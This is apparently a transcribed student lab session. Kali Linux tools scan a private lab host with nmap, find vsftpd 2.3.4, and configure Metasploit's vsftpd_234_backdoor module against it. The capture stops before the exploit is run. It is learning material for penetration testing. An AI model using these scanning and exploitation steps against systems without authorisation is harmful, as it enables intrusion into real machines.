

```

➦ ping 192.168.60.101
PING 192.168.60.101 (192.168.60.101) 56(84) bytes of data.
64 bytes from 192.168.60.101: icmp_seq=1 ttl=64 time=13.9 ms
64 bytes from 192.168.60.101: icmp_seq=2 ttl=64 time=10.9 ms
64 bytes from 192.168.60.101: icmp_seq=3 ttl=64 time=0.919 ms
^C
    — 192.168.60.101 ping statistics —
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.919/8.559/13.895/5.542 ms

```

Metasploit tip: Use sessions -1 to interact with the last opened session

```
[#####]#####Sa
[#####]#####SS 7a,
[#####]#####7a,
[%]#####,%$%
[%]#####,%$%
[%]#####,%$%
[#####]#####,"a,"a,$$
[#####]#####,"a,"a,$$
[#####]#####,"a,"a,$$
```

```

      =[ metasploit v6.4.5-dev ]
+ -- --=[ 2413 exploits - 1242 auxiliary - 423 post ]
+ -- --=[ 1465 payloads - 47 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

```

Metasploit Documentation: <https://docs.metasploit.com/>

```
msf6 > 
```

File Actions Edit View Help

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 13:32 EDT
Unable to split netmask from target expression: "/"
WARNING: No targets were specified, so 0 hosts scanned.
Nmap done: 0 IP addresses (0 hosts up) scanned in 0.08 seconds
```

```
$ nmap 192.168.60.101
```

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 13:33 EDT
Nmap scan report for 192.168.60.101
```

```
Host is up (0.022s latency).
Not shown: 977 closed tcp ports (conn-refused)
```

```

PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
8009/tcp  open  ajp13
8180/tcp  open  unknown

```

```
Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds
```

■■■■■

Num Lock Off

kali-linux-2024-virtualbox-amd64 (Istantanea 1 - upgrade.kali.ver.2024.1) [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

File Actions Edit View Help

0 exploit/unix/ftp/vsftpd\_234\_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 0`, use `0` or use `exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use Interrupt: use the 'exit' command to quit
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > option
[-] Unknown command: option. Did you mean options? Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show option
[-] Invalid parameter "option", use "show -h" for more information
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show -h
[*] Valid parameters for the "show" command are: all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options, favorites
[*] Additional module-specific parameters are: missing, advanced, evasion, targets, actions
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

Module options (exploit/unix/ftp/vsftpd\_234\_backdoor):

Name	Current Setting	Required	Description
CHOST		no	The local client address
CPORT		no	The local client port
Proxies		no	A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS		yes	The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a>
RPORT	21	yes	The target port (TCP)

Exploit target:

Id	Name
0	Automatic

View the full module info with the `info`, or `info -d` command.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > RHOSTS 192.168.60.101
[-] Unknown command: RHOSTS. Did you mean hosts? Run the help command for more details.
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.60.101
RHOSTS => 192.168.60.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

File Actions Edit View Help

Nmap scan report for 192.168.60.101  
Host is up (0.022s latency).  
Not shown: 977 closed tcp ports (conn-refused)

PORT	STATE	SERVICE
21/tcp	open	ftp
22/tcp	open	ssh
23/tcp	open	telnet
25/tcp	open	smtp
53/tcp	open	domain
80/tcp	open	http
111/tcp	open	rpcbind
139/tcp	open	netbios-ssn
445/tcp	open	microsoft-ds
512/tcp	open	exec
513/tcp	open	login
514/tcp	open	shell
1099/tcp	open	rmiregistry
1524/tcp	open	ingreslock
2049/tcp	open	nfs
2121/tcp	open	ccproxy-ftp
3306/tcp	open	mysql
5432/tcp	open	postgresql
5900/tcp	open	vnc
6000/tcp	open	X11
6667/tcp	open	irc
8009/tcp	open	ajp13
8180/tcp	open	unknown

Nmap done: 1 IP address (1 host up) scanned in 13.35 seconds

```
(kali@kali)-[~]
$ nmap -sV -p21 192.168.60.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-31 13:37 EDT
Nmap scan report for 192.168.60.101
Host is up (0.0013s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.3.4
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.41 seconds

(kali@kali)-[~]
$
```

WINDOWS SINISTRO + MAIUSC

